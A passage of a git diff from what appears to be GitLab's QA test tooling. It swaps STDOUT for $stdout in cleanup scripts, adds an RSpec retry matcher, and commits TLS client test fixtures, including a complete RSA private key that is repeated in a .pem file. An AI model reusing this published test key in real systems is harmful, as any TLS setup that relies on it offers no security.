delete_projects(project_ids) unless project_ids.empty?
- STDOUT.puts "\nDone"
+ $stdout.puts "\nDone"
end
private
def delete_projects(project_ids)
- STDOUT.puts "Deleting #{project_ids.length} projects..."
+ $stdout.puts "Deleting #{project_ids.length} projects..."
project_ids.each do |project_id|
delete_response = delete Runtime::API::Request.new(@api_client, "/projects/#{project_id}").url
dot_or_f = delete_response.code.between?(200, 300) ? "\e[32m.\e[0m" : "\e[31mF\e[0m"
diff --git a/qa/qa/tools/delete_subgroups.rb b/qa/qa/tools/delete_subgroups.rb
index 903f730a030..b9e3ed66013 100644
--- a/qa/qa/tools/delete_subgroups.rb
+++ b/qa/qa/tools/delete_subgroups.rb
@@ -20,7 +20,7 @@ module QA
end
def run
- STDOUT.puts 'Running...'
+ $stdout.puts 'Running...'
# Fetch group's id
group_id = fetch_group_id
@@ -29,16 +29,16 @@ module QA
total_sub_group_pages = sub_groups_head_response.headers[:x_total_pages]
sub_group_ids = fetch_subgroup_ids(group_id, total_sub_group_pages)
- STDOUT.puts "Number of Sub Groups not already marked for deletion: #{sub_group_ids.length}"
+ $stdout.puts "Number of Sub Groups not already marked for deletion: #{sub_group_ids.length}"
delete_subgroups(sub_group_ids) unless sub_group_ids.empty?
- STDOUT.puts "\nDone"
+ $stdout.puts "\nDone"
end
private
def delete_subgroups(sub_group_ids)
- STDOUT.puts "Deleting #{sub_group_ids.length} subgroups..."
+ $stdout.puts "Deleting #{sub_group_ids.length} subgroups..."
sub_group_ids.each do |subgroup_id|
delete_response = delete Runtime::API::Request.new(@api_client, "/groups/#{subgroup_id}").url
dot_or_f = delete_response.code == 202 ? "\e[32m.\e[0m" : "\e[31mF\e[0m"
diff --git a/qa/qa/tools/delete_test_ssh_keys.rb b/qa/qa/tools/delete_test_ssh_keys.rb
index 953e9fc63d1..dea6930de1e 100644
--- a/qa/qa/tools/delete_test_ssh_keys.rb
+++ b/qa/qa/tools/delete_test_ssh_keys.rb
@@ -30,18 +30,18 @@ module QA
end
def run
- STDOUT.puts 'Running...'
+ $stdout.puts 'Running...'
keys_head_response = head Runtime::API::Request.new(@api_client, "/user/keys", per_page: ITEMS_PER_PAGE).url
total_pages = keys_head_response.headers[:x_total_pages]
test_ssh_key_ids = fetch_test_ssh_key_ids(total_pages)
- STDOUT.puts "Number of test ssh keys to be deleted: #{test_ssh_key_ids.length}"
+ $stdout.puts "Number of test ssh keys to be deleted: #{test_ssh_key_ids.length}"
return if dry_run?
delete_ssh_keys(test_ssh_key_ids) unless test_ssh_key_ids.empty?
- STDOUT.puts "\nDone"
+ $stdout.puts "\nDone"
end
private
@@ -50,7 +50,7 @@ module QA
alias_method :dry_run?, :dry_run
def delete_ssh_keys(ssh_key_ids)
- STDOUT.puts "Deleting #{ssh_key_ids.length} ssh keys..."
+ $stdout.puts "Deleting #{ssh_key_ids.length} ssh keys..."
ssh_key_ids.each do |key_id|
delete_response = delete Runtime::API::Request.new(@api_client, "/user/keys/#{key_id}").url
dot_or_f = delete_response.code == 204 ? "\e[32m.\e[0m" : "\e[31mF\e[0m"
diff --git a/qa/qa/tools/generate_perf_testdata.rb b/qa/qa/tools/generate_perf_testdata.rb
index 546f7e7cdca..ec1aa20c3b8 100644
--- a/qa/qa/tools/generate_perf_testdata.rb
+++ b/qa/qa/tools/generate_perf_testdata.rb
@@ -26,7 +26,7 @@ module QA
end
def all
- STDOUT.puts 'Running...'
+ $stdout.puts 'Running...'
group_id = create_group
create_project(group_id)
@@ -50,23 +50,23 @@ module QA
end
threads_arr.each(&:join)
- STDOUT.puts "\nURLs: #{@urls}"
+ $stdout.puts "\nURLs: #{@urls}"
File.open("urls.yml", "w") { |file| file.puts @urls.stringify_keys.to_yaml }
- STDOUT.puts "\nDone"
+ $stdout.puts "\nDone"
end
def create_group
group_search_response = create_a_group_api_req(@group_name, @visibility)
group = JSON.parse(group_search_response.body)
@urls[:group_page] = group["web_url"]
- STDOUT.puts "Created a group: #{@urls[:group_page]}"
+ $stdout.puts "Created a group: #{@urls[:group_page]}"
group["id"]
end
def create_project(group_id)
create_project_response = create_a_project_api_req(@project_name, group_id, @visibility)
@urls[:project_page] = JSON.parse(create_project_response.body)["web_url"]
- STDOUT.puts "Created a project: #{@urls[:project_page]}"
+ $stdout.puts "Created a project: #{@urls[:project_page]}"
end
def create_many_issues
@@ -74,7 +74,7 @@ module QA
create_an_issue_api_req("#{@group_name}%2F#{@project_name}", "issue#{i}", "desc#{i}")
end
@urls[:issues_list_page] = @urls[:project_page] + "/issues"
- STDOUT.puts "Created many issues: #{@urls[:issues_list_page]}"
+ $stdout.puts "Created many issues: #{@urls[:issues_list_page]}"
end
def create_many_todos
@@ -82,7 +82,7 @@ module QA
create_a_todo_api_req("#{@group_name}%2F#{@project_name}", "#{i + 1}")
end
@urls[:todos_page] = ENV['GITLAB_ADDRESS'] + "/dashboard/todos"
- STDOUT.puts "Created many todos: #{@urls[:todos_page]}"
+ $stdout.puts "Created many todos: #{@urls[:todos_page]}"
end
def create_many_labels
@@ -90,7 +90,7 @@ module QA
create_a_label_api_req("#{@group_name}%2F#{@project_name}", "label#{i}", "#{Faker::Color.hex_color}")
end
@urls[:labels_page] = @urls[:project_page] + "/labels"
- STDOUT.puts "Created many labels: #{@urls[:labels_page]}"
+ $stdout.puts "Created many labels: #{@urls[:labels_page]}"
end
def create_many_merge_requests
@@ -98,7 +98,7 @@ module QA
create_a_merge_request_api_req("#{@group_name}%2F#{@project_name}", "branch#{i}", Runtime::Env.default_branch, "MR#{i}")
end
@urls[:mr_list_page] = @urls[:project_page] + "/merge_requests"
- STDOUT.puts "Created many MRs: #{@urls[:mr_list_page]}"
+ $stdout.puts "Created many MRs: #{@urls[:mr_list_page]}"
end
def create_many_new_files
@@ -109,7 +109,7 @@ module QA
end
@urls[:files_page] = @urls[:project_page] + "/tree/#{Runtime::Env.default_branch}"
- STDOUT.puts "Added many new files: #{@urls[:files_page]}"
+ $stdout.puts "Added many new files: #{@urls[:files_page]}"
end
def create_many_branches
@@ -117,7 +117,7 @@ module QA
create_a_branch_api_req("branch#{i}", "#{@group_name}%2F#{@project_name}")
end
@urls[:branches_page] = @urls[:project_page] + "/-/branches"
- STDOUT.puts "Created many branches: #{@urls[:branches_page]}"
+ $stdout.puts "Created many branches: #{@urls[:branches_page]}"
end
def create_an_issue_with_many_discussions
@@ -130,7 +130,7 @@ module QA
# Add description and labels
update_an_issue_api_req("#{@group_name}%2F#{@project_name}", issue_id, "#{Faker::Lorem.sentences(500).join(" ")}", labels_list)
@urls[:large_issue] = @urls[:project_page] + "/issues/#{issue_id}"
- STDOUT.puts "Created an issue with many discussions: #{@urls[:large_issue]}"
+ $stdout.puts "Created an issue with many discussions: #{@urls[:large_issue]}"
end
def create_an_mr_with_large_files_and_many_mr_discussions
@@ -178,7 +178,7 @@ module QA
create_a_discussion_on_mr_api_req("#{@group_name}%2F#{@project_name}", iid, "Let us discuss")
end
@urls[:large_mr] = JSON.parse(create_mr_response.body)["web_url"]
- STDOUT.puts "Created an MR with many discussions and many very large Files: #{@urls[:large_mr]}"
+ $stdout.puts "Created an MR with many discussions and many very large Files: #{@urls[:large_mr]}"
end
def create_diff_note(iid, file_count, line_count, head_sha, start_sha, base_sha, line_type)
@@ -205,7 +205,7 @@ module QA
100.times do |i|
update_file_api_req(file_name, branch_name, project_path, Faker::Lorem.sentences(5).join(" "), Faker::Lorem.sentences(500).join("\n"))
end
- STDOUT.puts "Using branch: #{branch_name}, created an MR with many commits: #{@urls[:mr_with_many_commits]}"
+ $stdout.puts "Using branch: #{branch_name}, created an MR with many commits: #{@urls[:mr_with_many_commits]}"
end
private
diff --git a/qa/qa/tools/revoke_all_personal_access_tokens.rb b/qa/qa/tools/revoke_all_personal_access_tokens.rb
index 63a7b0d2d8e..c0a1697fa16 100644
--- a/qa/qa/tools/revoke_all_personal_access_tokens.rb
+++ b/qa/qa/tools/revoke_all_personal_access_tokens.rb
@@ -12,7 +12,7 @@ module QA
def run
do_run
rescue Net::ReadTimeout
- STDOUT.puts 'Net::ReadTimeout during run. Trying again'
+ $stdout.puts 'Net::ReadTimeout during run. Trying again'
run
end
@@ -23,7 +23,7 @@ module QA
raise ArgumentError, "Please provide GITLAB_PASSWORD" unless ENV['GITLAB_PASSWORD']
raise ArgumentError, "Please provide GITLAB_ADDRESS" unless ENV['GITLAB_ADDRESS']
- STDOUT.puts 'Running...'
+ $stdout.puts 'Running...'
Runtime::Browser.visit(ENV['GITLAB_ADDRESS'], Page::Main::Login)
Page::Main::Login.perform(&:sign_in_using_credentials)
diff --git a/qa/spec/spec_helper.rb b/qa/spec/spec_helper.rb
index 0c9643c830b..f4bfd57504e 100644
--- a/qa/spec/spec_helper.rb
+++ b/qa/spec/spec_helper.rb
@@ -4,6 +4,7 @@ require_relative '../qa'
require 'rspec/retry'
require 'rspec-parameterized'
require 'active_support/core_ext/hash'
+require 'active_support/core_ext/object/blank'
if ENV['CI'] && QA::Runtime::Env.knapsack? && !ENV['NO_KNAPSACK']
require 'knapsack'
@@ -11,8 +12,8 @@ if ENV['CI'] && QA::Runtime::Env.knapsack? && !ENV['NO_KNAPSACK']
end
QA::Runtime::Browser.configure!
-
-QA::Runtime::Scenario.from_env(QA::Runtime::Env.runtime_scenario_attributes) if QA::Runtime::Env.runtime_scenario_attributes
+QA::Runtime::AllureReport.configure!
+QA::Runtime::Scenario.from_env(QA::Runtime::Env.runtime_scenario_attributes)
Dir[::File.join(__dir__, "support/helpers/*.rb")].sort.each { |f| require f }
Dir[::File.join(__dir__, "support/matchers/*.rb")].sort.each { |f| require f }
diff --git a/qa/spec/specs/helpers/context_selector_spec.rb b/qa/spec/specs/helpers/context_selector_spec.rb
index 16b6c6601b1..7792d33dcf9 100644
--- a/qa/spec/specs/helpers/context_selector_spec.rb
+++ b/qa/spec/specs/helpers/context_selector_spec.rb
@@ -189,9 +189,9 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
it 'runs on default branch pipelines' do
group = describe_successfully do
- it('runs on master pipeline given a single pipeline', only: { pipeline: :master }) {}
- it('runs in master given an array of pipelines', only: { pipeline: [:canary, :master] }) {}
- it('does not run in non-default pipelines', only: { pipeline: [:nightly, :not_nightly, :not_master] }) {}
+ it('runs on main pipeline given a single pipeline', only: { pipeline: :main }) {}
+ it('runs in main given an array of pipelines', only: { pipeline: [:canary, :main] }) {}
+ it('does not run in non-default pipelines', only: { pipeline: [:nightly, :not_nightly, :not_main] }) {}
end
aggregate_failures do
diff --git a/qa/spec/support/matchers/eventually_matcher.rb b/qa/spec/support/matchers/eventually_matcher.rb
new file mode 100644
index 00000000000..3f0afd6fb54
--- /dev/null
+++ b/qa/spec/support/matchers/eventually_matcher.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+# Rspec matcher with build in retry logic
+#
+# USAGE:
+#
+# Basic
+# expect { Something.that.takes.time.to_appear }.to eventually_eq(expected_result)
+# expect { Something.that.takes.time.to_appear }.not_to eventually_eq(expected_result)
+#
+# With duration and attempts override
+# expect { Something.that.takes.time.to_appear }.to eventually_eq(expected_result).within(duration: 10, attempts: 5)
+
+module Matchers
+ %w[
+ eq
+ be
+ include
+ be_truthy
+ be_falsey
+ be_empty
+ ].each do |op|
+ RSpec::Matchers.define(:"eventually_#{op}") do |*expected|
+ chain(:within) do |options = {}|
+ @duration = options[:duration]
+ @attempts = options[:attempts]
+ end
+
+ def supports_block_expectations?
+ true
+ end
+
+ match { |actual| wait_and_check(actual, :default_expectation) }
+
+ match_when_negated { |actual| wait_and_check(actual, :when_negated_expectation) }
+
+ description do
+ "eventually #{operator_msg} #{expected.inspect}"
+ end
+
+ failure_message do
+ "#{e}:\nexpected to #{description}, last attempt was #{@result.nil? ? 'nil' : @result}"
+ end
+
+ failure_message_when_negated do
+ "#{e}:\nexpected not to #{description}, last attempt was #{@result.nil? ? 'nil' : @result}"
+ end
+
+ # Execute rspec expectation within retrier
+ #
+ # @param [Proc] actual
+ # @param [Symbol] expectation_name
+ # @return [Boolean]
+ def wait_and_check(actual, expectation_name)
+ QA::Support::Retrier.retry_until(
+ max_attempts: @attempts,
+ max_duration: @duration,
+ sleep_interval: 0.5
+ ) do
+ public_send(expectation_name, actual)
+ rescue RSpec::Expectations::ExpectationNotMetError, QA::Resource::ApiFabricator::ResourceNotFoundError
+ false
+ end
+ rescue QA::Support::Repeater::RetriesExceededError, QA::Support::Repeater::WaitExceededError => e
+ @e = e
+ false
+ end
+
+ # Execute rspec expectation
+ #
+ # @param [Proc] actual
+ # @return [void]
+ def default_expectation(actual)
+ expect(result(&actual)).to public_send(*expectation_args)
+ end
+
+ # Execute negated rspec expectation
+ #
+ # @param [Proc] actual
+ # @return [void]
+ def when_negated_expectation(actual)
+ expect(result(&actual)).not_to public_send(*expectation_args)
+ end
+
+ # Result of actual block
+ #
+ # @return [Object]
+ def result
+ @result = yield
+ end
+
+ # Error message placeholder to indicate waiter did not fail properly
+ # This message should not appear under normal circumstances since it should
+ # always be assigned from repeater
+ #
+ # @return [String]
+ def e
+ @e ||= 'Waiter did not fail!'
+ end
+
+ # Operator message
+ #
+ # @return [String]
+ def operator_msg
+ case operator
+ when 'eq' then 'equal'
+ else operator
+ end
+ end
+
+ # Expect operator
+ #
+ # @return [String]
+ def operator
+ @operator ||= name.to_s.match(/eventually_(.+?)$/).to_a[1].to_s
+ end
+
+ # Expectation args
+ #
+ # @return [String, Array]
+ def expectation_args
+ if operator.include?('truthy') || operator.include?('falsey') || operator.include?('empty')
+ operator
+ elsif operator == "include" && expected.is_a?(Array)
+ [operator, *expected]
+ else
+ [operator, expected]
+ end
+ end
+ end
+ end
+end
diff --git a/qa/tls_certificates/client/client.crt b/qa/tls_certificates/client/client.crt
new file mode 100644
index 00000000000..1bbc49e77d5
--- /dev/null
+++ b/qa/tls_certificates/client/client.crt
@@ -0,0 +1,30 @@
+-----BEGIN CERTIFICATE-----
+MIIFLDCCAxQCAQEwDQYJKoZIhvcNAQELBQAwVTELMAkGA1UEBhMCVVMxEzARBgNV
+BAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xGTAXBgNVBAoM
+EEdpdExhYiBBdXRob3JpdHkwHhcNMjEwMjEyMDc0NTM0WhcNMzEwMjEwMDc0NTM0
+WjBjMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwN
+U2FuIEZyYW5jaXNjbzEWMBQGA1UECgwNR2l0TGFiIENsaWVudDEPMA0GA1UEAwwG
+Q2xpZW50MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwZHPYiri29q+
+1qDh6ucjKztoZ9I0gqG4skuYs7jxj7jTOG/+rkYUVB+Eltq0m76rWEEA6OFW5Yze
+E+aZOYnLYi31BwhJZI2LHDWUsdDuX936FVr5B7l+nrvARVhhARbfhjFVAljcAmDy
+Q+cSgGxgM5de/KhJ0juU25lhe2rCViuJYUsCWny4pN91KhdLJCoPxQRxFDNKG/+k
+foacxKFwEtgz185xLgNZdydwhiY5yh4+P6rCMYqKAvnl2w6L/dPQmHasWbH4Gdvk
+TGCaxiJ7NBM4Lkv+uZmjHPnBmIdLnt+Yjb/lQmaSPA379yLA4L1n/JucmlUCMpVa
+KcJTPEUzUKM4u705XLqsRVH2YmcWAQH8XPw42Llw5T4fAooR+kyMN/zigPNdw7ZC
+r+2jW5rk95gb8iEbheVaSrGIAWPqcwrSTcna5Khbzy/najf2oAM87h95D2Fhg7eW
+LhoccImcuWEGFrmUGwPwS4Zxr2XeAFim8VVVMx9uGd+5u1AscfZFWKJP3j6FwpDH
+L4I7OXFh34INxluxKQ22+PEcIUkbqpGaLZ5U+ZTw8WOy77oflUkAEu1xoEBah+Nf
+5dr6b+n+8rSddCk3mDsgpDY5E3Uv8/FH2vxRmTpiq8ObdmMbNo9Qf+CpMNg4CG+v
+f96uqj69r3aqG3MEbRdy0UjgdaaeNx0CAwEAATANBgkqhkiG9w0BAQsFAAOCAgEA
+OvEPqiQx5RuiqdVDzNAGGW6SzGoyehwVL0JkYvwHPZ8gOW4XBGl9Dtnkb3M7GeYq
+urZnoplk1uyMnNin2MVA0hRfCwCv7ix56Sh45odpN9scnXsr9I/e6ZfbQB7vFGnV
+NDESsOZKzkydameUBTu9yBk7mlV9jA7LpKipe67doptANURZjF8crmCeTvY3b1cF
+XbFe31FqvKdXeJgZU99kGUSncSS/1dWxbwyZZDBCqWfDlNh7Om+6RB1cMlQfal5z
+hqCYMGBB8YsMY1+l7l8eQDawrZNbs9yE4iqd6FXvss7o02cC1b7moZB+1JhOwwJ1
+wmgXuRiR5ynsb34LjFOicdm4YVmqiqXCW6Pr/DH/pkX8CI3Zu2hjatbgQrkGxXqT
+T1O/o48xwa8MBfviy7gkdCrapBkx0ojNLYNW6NTR3LNT4WYEQWOnqkm73Is9aVCy
+1doL6zG8chvCxLHXtpEMMPkOKpoWjokdCD4K5HAoIqmR904kOM5jCuETTWm0MD0e
+vKeWzck6YDt+zBhCD4k7yqF++d3ufcY2eCmVlwe0wH4srX/e4ni0tBKF25j3xLUA
+U+HI7Wa88zBAp3iN3CD/iWu8LBwTUlmRN8l7bi+O/AaKE08KvtzV5hhZ4c1UJa+N
+d4txM9tqkwMTFTFkRzduwuaIKB3Gaz1IWcOUJe5oO5M=
+-----END CERTIFICATE-----
diff --git a/qa/tls_certificates/client/client.csr b/qa/tls_certificates/client/client.csr
new file mode 100644
index 00000000000..42c868a381c
--- /dev/null
+++ b/qa/tls_certificates/client/client.csr
@@ -0,0 +1,27 @@
+-----BEGIN CERTIFICATE REQUEST-----
+MIIEqDCCApACAQAwYzELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWEx
+FjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xFjAUBgNVBAoMDUdpdExhYiBDbGllbnQx
+DzANBgNVBAMMBkNsaWVudDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
+AMGRz2Iq4tvavtag4ernIys7aGfSNIKhuLJLmLO48Y+40zhv/q5GFFQfhJbatJu+
+q1hBAOjhVuWM3hPmmTmJy2It9QcISWSNixw1lLHQ7l/d+hVa+Qe5fp67wEVYYQEW
+34YxVQJY3AJg8kPnEoBsYDOXXvyoSdI7lNuZYXtqwlYriWFLAlp8uKTfdSoXSyQq
+D8UEcRQzShv/pH6GnMShcBLYM9fOcS4DWXcncIYmOcoePj+qwjGKigL55dsOi/3T
+0Jh2rFmx+Bnb5ExgmsYiezQTOC5L/rmZoxz5wZiHS57fmI2/5UJmkjwN+/ciwOC9
+Z/ybnJpVAjKVWinCUzxFM1CjOLu9OVy6rEVR9mJnFgEB/Fz8ONi5cOU+HwKKEfpM
+jDf84oDzXcO2Qq/to1ua5PeYG/IhG4XlWkqxiAFj6nMK0k3J2uSoW88v52o39qAD
+PO4feQ9hYYO3li4aHHCJnLlhBha5lBsD8EuGca9l3gBYpvFVVTMfbhnfubtQLHH2
+RViiT94+hcKQxy+COzlxYd+CDcZbsSkNtvjxHCFJG6qRmi2eVPmU8PFjsu+6H5VJ
+ABLtcaBAWofjX+Xa+m/p/vK0nXQpN5g7IKQ2ORN1L/PxR9r8UZk6YqvDm3ZjGzaP
+UH/gqTDYOAhvr3/erqo+va92qhtzBG0XctFI4HWmnjcdAgMBAAGgADANBgkqhkiG
+9w0BAQsFAAOCAgEAAPvL+5aGluJVNDfTyQMLKFYl7qsF6cNqwzv+Zd9bB9Suznta
+c7pU2EdHO0qsqwpMvRHxdo/2R5gbnAtPLTgQA9I9aL+YjSLH7nZJPieHFt6ffSyz
+rGNwXUBgKwhAoTqQpXHLRSHKsPsK3cuz1Oy5dqg1KsfdMVdkUwlErQb0Igjz2xUV
+qJJ8Pil0Si4eiXvkWzbIWBcGKMiomTTOqAqr2dJ75siX5ZP6l24RqZItn7RQDuhr
+y0KnZgY2SeszQb6u0JETGbKjPmnAeukg35tYFin6Z5dHsO3E9EokOi07bCN5IIw4
+AUNYSKfBIY6HYTVvbm/GsfMSntxO6R0HI6dVQKJRiJ3hrgHduANOJQBHWM7bE24A
+v104OVkZ62rPZ/ypxb2Z+A0IP3ngAv6VY5oGHmOMDXtMQb+CBtmMgggyFT1DZ+Kt
+AA4H3i6LHqYskv21AdPW4f+br2b69a0Y9XcNrLBkiH2j9itk6Ihw6zZD5Jqj9tDv
+ZBMSIIVHlecQND2HFoCM9DCeFFaJlZVNGp9EnERyxIJezcKM0OZ7rFWv7ukbrCov
+CyrK4+JLaaOlrOEXTT2ob7StxdGXQps0rOP7A0cxf3mUqfX2F6VWKslpiAa9quuC
+5Auqh5vAdY4o0NObx50WRPoFSnOEpqa8yj3hAofl66mulB31VORgN6sH8l4=
+-----END CERTIFICATE REQUEST-----
diff --git a/qa/tls_certificates/client/client.key b/qa/tls_certificates/client/client.key
new file mode 100644
index 00000000000..49d7da54058
--- /dev/null
+++ b/qa/tls_certificates/client/client.key
@@ -0,0 +1,51 @@
+-----BEGIN RSA PRIVATE KEY-----
+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
+-----END RSA PRIVATE KEY-----
diff --git a/qa/tls_certificates/client/client.pem b/qa/tls_certificates/client/client.pem
new file mode 100644
index 00000000000..ebca1a9920d
--- /dev/null
+++ b/qa/tls_certificates/client/client.pem
@@ -0,0 +1,113 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIJKQIBAAKCAgEAwZHPYiri29q+1qDh6ucjKztoZ9I0gqG4skuYs7jxj7jTOG/+
+rkYUVB+Eltq0m76rWEEA6OFW5YzeE+aZOYnLYi31BwhJZI2LHDWUsdDuX936FVr5
+B7l+nrvARVhhARbfhjFVAljcAmDyQ+cSgGxgM5de/KhJ0juU25lhe2rCViuJYUsC
+Wny4pN91KhdLJCoPxQRxFDNKG/+kfoacxKFwEtgz185xLgNZdydwhiY5yh4+P6rC
+MYqKAvnl2w6L/dPQmHasWbH4GdvkTGCaxiJ7NBM4Lkv+uZmjHPnBmIdLnt+Yjb/l
+QmaSPA379yLA4L1n/JucmlUCMpVaKcJTPEUzUKM4u705XLqsRVH2YmcWAQH8XPw4
+2Llw5T4fAooR+kyMN/zigPNdw7ZCr+2jW5rk95gb8iEbheVaSrGIAWPqcwrSTcna
+5Khbzy/najf2oAM87h95D2Fhg7eWLhoccImcuWEGFrmUGwPwS4Zxr2XeAFim8VVV
+Mx9uGd+5u1AscfZFWKJP3j6FwpDHL4I7OXFh34INxluxKQ22+PEcIUkbqpGaLZ5U
++ZTw8WOy77oflUkAEu1xoEBah+Nf5dr6b+n+8rSddCk3mDsgpDY5E3Uv8/FH2vxR
+mTpiq8ObdmMbNo9Qf+CpMNg4CG+vf96uqj69r3aqG3MEbRdy0UjgdaaeNx0CAwEA
+AQKCAgB7X98pd6IudQbLr7Eu0nFk/bF28tDLLh6VbX9/lXJJo4jk4OUX2MzeLVSJ
+/g29ctKtJolY5T9IgfeOAZ1Jwhzij94rxElbEKhIq5IBn+Q/MDFUaS5ukPk2XP6Y
+dFMnqZeAZXMEUvSvg3EGfIIbXngWifVd3jlnCNjA+sraKdqBp7AhVfjDCdl6JH79
+++jFvRVeAo28TVB/9fm3Nz82SJsxN6Ibe5ZBuJrOSlH6/uQ4gfw1AjZR8zYx3Wt2
+qpfpiZbbhlAlvzwd5zxkvfIINTQHpfRZ9c/+JgGD12BgQmOdeHA4cMXEA7JTGqqt
+Avaih7Z+mARBjcsfyHe2RAhfUs/4CruJFT1dTWpX+xM7z6dP4ILHNU7OCNXbJhSB
